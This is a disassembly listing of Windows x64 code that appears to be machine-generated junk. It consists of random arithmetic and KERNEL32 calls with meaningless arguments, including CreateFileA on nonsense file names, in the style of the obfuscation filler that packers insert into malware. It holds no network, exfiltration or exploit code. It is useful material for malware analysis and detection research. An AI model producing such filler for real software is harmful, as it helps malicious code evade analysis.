movsx eax, word [rsp + 0xe68]
movsx ecx, word [0x1401e607c]
add eax, ecx
mov rcx, qword [rsp + 0xa888]
mov word [rcx], ax
mov rax, qword [rsp + 0xb620]
movzx eax, byte [rax]
mov byte [rsp + 0x1b1], al
movzx eax, word [rsp + 0xfac]
mov rcx, qword [rsp + 0xc8a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe8], ax
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x9a30]
mov rcx, qword [rsp + 0xc550]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xb6f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ab8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc618], rax
mov rax, qword [rsp + 0xc2f0]
mov rax, qword [rax]
mov qword [rsp + 0xca90], rax
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4658], eax
mov rax, qword [rsp + 0xa0d0]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c24], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movsx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0xb020]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6154], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xca98], rax
mov rax, qword [rsp + 0xaf80]
movzx eax, byte [rax]
mov byte [rsp + 0x1b3], al
mov rax, qword [rsp + 0xaa70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov rcx, qword [rsp + 0xc568]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0xbcd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x148], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx eax, byte [0x1401e602a]
mov byte [rsp + 0x1b4], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xba50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc610], rax
lea rax, [rsp + 0x4398]
mov qword [rsp + 0xcaa0], rax
mov rax, qword [rsp + 0xa998]
mov rcx, qword [rsp + 0xc3b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7a8], rax
lea rax, [rsp + 0x4c24]
mov qword [rsp + 0xcaa8], rax
movzx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0xae20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e79c8], ax
mov edx, 0x5a97a2
mov rcx, qword [rsp + 0xac60]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x47e4], eax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x169]
xor eax, ecx
mov rcx, qword [rsp + 0xc7a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5d]
movzx ecx, byte [rsp + 0x7c]
sar eax, cl
mov byte [rsp + 0xb2], al
movzx eax, word [rsp + 0xe54]
mov word [rsp + 0x1288], ax
movsx eax, word [rsp + 0xb74]
mov rcx, qword [0x1401e7698]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf14], ax
lea rcx, [rsp + 0x26bd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x95b8]
mov eax, dword [rax]
mov dword [rsp + 0x4cd4], eax
mov rax, qword [rsp + 0xc2b8]
mov rcx, qword [rsp + 0xb110]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6f0], rax
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [0x1401e6020]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9348]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7b8]
mov eax, dword [rax]
mov dword [rsp + 0x4cd8], eax
mov rax, qword [rsp + 0xaf10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7930]
mov word [rcx], ax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0xaca0]
mov byte [rcx], al
lea rdx, [rsp + 0x4854]
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4aa4], eax
mov rax, qword [rsp + 0xc648]
movzx eax, word [rax]
mov word [rsp + 0x128c], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0xb990]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb450]
mov byte [rcx], al
movsx eax, word [0x1401e7928]
movsx ecx, word [rsp + 0xf7c]
sub eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4570]
mov dword [rsp + 0x4cdc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xcab0], rax
mov rax, qword [rsp + 0xb8a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x490c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4864], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xcab8], rax
mov rax, qword [rsp + 0xbf00]
mov rcx, qword [rsp + 0xa6c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9980], rax
lea rax, [rsp + 0x65]
mov qword [0x1401e7a50], rax
mov rax, qword [0x1401e79d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov word [rsp + 0xbf8], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x9a70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, byte [0x1401e6077]
mov byte [rsp + 0x1b6], al
xor edx, edx
mov rax, qword [rsp + 0xa158]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xab40]
div dword [rcx]
mov dword [rsp + 0x4834], eax
lea rax, [rsp + 0xa4a8]
mov qword [rsp + 0xcac0], rax
mov rax, qword [rsp + 0xa418]
mov ecx, dword [rsp + 0x48c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7a8]
movzx ecx, al
mov rax, qword [rsp + 0xb460]
shr rax, cl
mov rcx, qword [rsp + 0xbd10]
mov qword [rcx], rax
lea rax, [rsp + 0x10fc]
mov qword [0x1401e7a58], rax
mov rcx, qword [rsp + 0xb198]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x48f4], eax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0xb7a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f0]
xor eax, ecx
mov word [rsp + 0xe0c], ax
movzx eax, word [rsp + 0x11ec]
mov word [rsp + 0x1290], ax
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a3]
shl eax, cl
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0xb140]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9120]
mov dword [rcx], eax
lea rax, [rsp + 0x9b38]
mov qword [rsp + 0xcac8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4c2c], eax
mov eax, dword [rsp + 0x46b0]
imul eax, dword [rsp + 0x4784]
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
lea rax, [rsp + 0xaa10]
mov qword [rsp + 0xcad0], rax
movsx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0xa610]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e746a], al
mov rcx, qword [rsp + 0xb0a0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4ce0], eax
mov rax, qword [rsp + 0xbc18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd6], al
movzx eax, word [rsp + 0xc0c]
movzx ecx, word [rsp + 0x1288]
sub eax, ecx
mov rcx, qword [rsp + 0x9b60]
mov word [rcx], ax
movzx eax, word [rsp + 0xdc4]
mov word [rsp + 0x1294], ax
movsx eax, byte [rsp + 0x64]
movsx ecx, byte [rsp + 0x18e]
sub eax, ecx
mov rcx, qword [rsp + 0xbdf0]
mov byte [rcx], al
lea rax, [rsp + 0x4c9c]
mov qword [rsp + 0xcad8], rax
lea rdx, [rsp + 0x4b74]
mov rcx, qword [rsp + 0xbd28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a84], eax
mov rax, qword [rsp + 0xb730]
mov rcx, qword [rsp + 0xb040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc8c8], rax
lea rax, [rsp + 0x9e48]
mov qword [rsp + 0xcae0], rax
lea rcx, [rsp + 0x8e48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc298]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4b34]
mov rcx, qword [rsp + 0xca18]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:_storytellingBlizzardsPsalmodyStealinggravitating
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcae8], rax
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xcd0]
sub eax, ecx
mov word [rsp + 0xba4], ax
lea rax, [0x1401e6093]
mov qword [0x1401e7a60], rax
movzx eax, word [rsp + 0xd08]
mov word [rsp + 0x1298], ax
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0x10b], al
lea rdx, [rsp + 0xa600]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4354], eax
mov rax, qword [rsp + 0xb3b8]
movzx eax, word [rax]
mov word [rsp + 0x129c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x257a0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc3d0]
mov rcx, qword [rsp + 0xb208]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcc8], rax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4770], eax
mov rax, qword [rsp + 0xa558]
mov rcx, qword [rsp + 0x9df0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb370]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf70], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xcaf0], rax
mov rax, qword [rsp + 0xaff8]
mov eax, dword [rax]
mov dword [rsp + 0x4ce4], eax
mov rax, qword [rsp + 0xaa18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401e741c]
shl eax, cl
mov dword [rsp + 0x499c], eax
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0x1b8], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa240]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401e7738]
mov byte [rcx], al
mov rax, qword [rsp + 0xc378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11b4], ax
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15b], al
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0xc158]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa798]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbcf0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4704]
mov dword [rsp + 0x4ce8], eax
mov rax, qword [rsp + 0xa048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc908]
mov rcx, qword [rsp + 0xc2d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc2f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbaa8]
movzx eax, word [rax]
mov word [rsp + 0x12a0], ax
lea rax, [rsp + 0x1080]
mov qword [0x1401e7a68], rax
movzx eax, byte [0x1401e604e]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [rsp + 0x16e], al
lea rax, [rsp + 0x1010]
mov qword [rsp + 0xcaf8], rax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc920]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8f0]
mov byte [rcx], al
lea rax, [0x1401e6014]
mov qword [rsp + 0xcb00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa940], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x9ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44e8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:EncroachedSalutarychopped_amputees_berlin
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcb08], rax
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4590], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0xa838]
mov rcx, qword [rsp + 0xc8b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb590]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
mov qword [rsp + 0xcb10], rax
mov rax, qword [rsp + 0xc9c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x13c]
mov rcx, qword [0x1401e79c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e60a3], al
lea rcx, [rsp + 0x2a620]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4cec], eax
lea rcx, [rsp + 0x26998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
lea rax, [rsp + 0x102c]
mov qword [rsp + 0xcb18], rax
movsx eax, word [rsp + 0xb68]
mov rcx, qword [rsp + 0xb7a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x115c]
mov rcx, qword [rsp + 0xada0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa120]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2205
mov r9d, 0x2f2e
mov r8d, 0x16da40e9
mov edx, 2
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4cf0], eax
lea rcx, [rsp + 0x2a3a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4990], eax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0xcb20], rax
mov rax, qword [rsp + 0xbf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9680]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9358]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4a5c]
mov dword [rsp + 0x4cf4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xca30]
mov ecx, dword [rsp + 0x4bd4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4e8]
mov qword [rsp + 0xcb28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb28]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa070]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4cf8], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov r9d, 0x17cc
xor r8d, r8d
lea rdx, [rsp + 0xa840]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x44e0], eax
lea rcx, [rsp + 0x26c08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, word [rsp + 0x1074]
mov rcx, qword [rsp + 0xca70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e7a58]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc8e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x48e8], eax
mov dword [rsp + 0x2aa80], 0x94
lea rax, [rsp + 0xce4]
mov qword [rsp + 0xcb30], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [rsp + 0x147], al
lea rax, [rsp + 0x106c]
mov qword [rsp + 0xcb38], rax
mov rcx, qword [rsp + 0xb5f8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4550], eax
movzx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0xbdb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9770]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xa250]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc970], rax
mov rax, qword [0x1401e7420]
mov qword [rsp + 0xcb40], rax
mov rax, qword [rsp + 0x9ee8]
mov rcx, qword [rsp + 0xaa00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9420]
mov dword [rcx], eax
lea rcx, [rsp + 0x2a9e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4c64], eax
mov rax, qword [rsp + 0x9a78]
mov eax, dword [rax]
mov dword [rsp + 0x4cfc], eax
movzx eax, word [rsp + 0x110c]
movzx ecx, word [0x1401e74f0]
add eax, ecx
mov word [0x1401e6158], ax
movzx eax, byte [rsp + 0x17c]
mov rcx, qword [rsp + 0x9678]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0xbd18]
movzx eax, byte [rax]
mov byte [rsp + 0x1ba], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:exasperatedAdministrator_snagheeds
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcb48], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x23a7
mov r9d, 0xd78
mov r8d, 0xb6b53b4c
mov edx, 1
mov rcx, qword [rsp + 0xb4b8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4460], eax
movzx eax, word [rsp + 0x1010]
movzx ecx, word [rsp + 0xd50]
imul eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb610]
mov word [rcx], ax
lea rcx, [rsp + 0x26ab8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rdx, [rsp + 0x48f4]
mov rcx, qword [rsp + 0xb6a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d00], eax
lea rax, [rsp + 0x4a34]
mov qword [rsp + 0xcb50], rax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xa968]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x96a0]
mov qword [rcx], rax
lea rax, [rsp + 0x9db8]
mov qword [rsp + 0xcb58], rax
mov eax, dword [rsp + 0x4b70]
mov rcx, qword [rsp + 0xb1f8]
mov qword [rsp + 0xcb60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4528], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [0x1401e7678]
mov rcx, qword [rsp + 0xb948]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e77c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0xbc18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x145], al
lea rax, [rsp + 0x8e]
mov qword [rsp + 0xcb68], rax
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0xb320]
movzx eax, word [rax]
mov word [rsp + 0x12a4], ax
mov eax, dword [rsp + 0x4364]
mov ecx, dword [rsp + 0x45a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0xb340]
mov rcx, qword [0x1401e7420]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x95e0]
mov rax, qword [rax]
mov qword [rsp + 0xcb70], rax
mov rax, qword [rsp + 0xc308]
mov ecx, dword [0x1401e741c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa300]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [0x1401e74e7], al
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
mov word [rsp + 0x12a8], ax
lea rdx, [rsp + 0x28308]
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4d04], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9738]
mov word [rcx], ax
mov rax, qword [rsp + 0xb450]
movzx eax, byte [rax]
mov byte [rsp + 0x1bb], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xa490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc04]
sub eax, ecx
mov word [rsp + 0x10bc], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x299f
mov r9d, 0x1508
mov r8d, 0x754991d2
mov edx, 1
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4d08], eax
mov rax, qword [rsp + 0xbd40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4594]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xacb0], rax
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0xa298]
mov eax, dword [rax]
mov dword [rsp + 0x4d0c], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc070]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaad8]
mov qword [rsp + 0xcb78], rax
mov rax, qword [rsp + 0x99a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x106]
sub eax, ecx
mov rcx, qword [0x1401e75d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0xa728]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x111]
movzx ecx, byte [rsp + 0x115]
and eax, ecx
mov byte [rsp + 0xb0], al
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0xcb80], rax
mov rax, qword [rsp + 0x9d20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov byte [rcx], al
lea rcx, [rsp + 0x26998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xaf48]
mov rax, qword [rax]
mov qword [rsp + 0xcb88], rax
mov eax, dword [rsp + 0x490c]
mov rcx, qword [rsp + 0xbf70]
mov qword [rsp + 0xcb90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x46ec], eax
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0x9590]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa28], rax
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e615c], ax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
add eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:malignantlyMacrophagegalleriedcookbooks
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcba0], rax
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x1bc], al
lea rdx, [rsp + 0xa450]
mov rcx, qword [rsp + 0xc960]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c20], eax
movzx eax, word [rsp + 0x11ec]
movzx ecx, word [rsp + 0x1214]
add eax, ecx
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0xcaf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd70]
and eax, ecx
mov rcx, qword [rsp + 0xa040]
mov word [rcx], ax
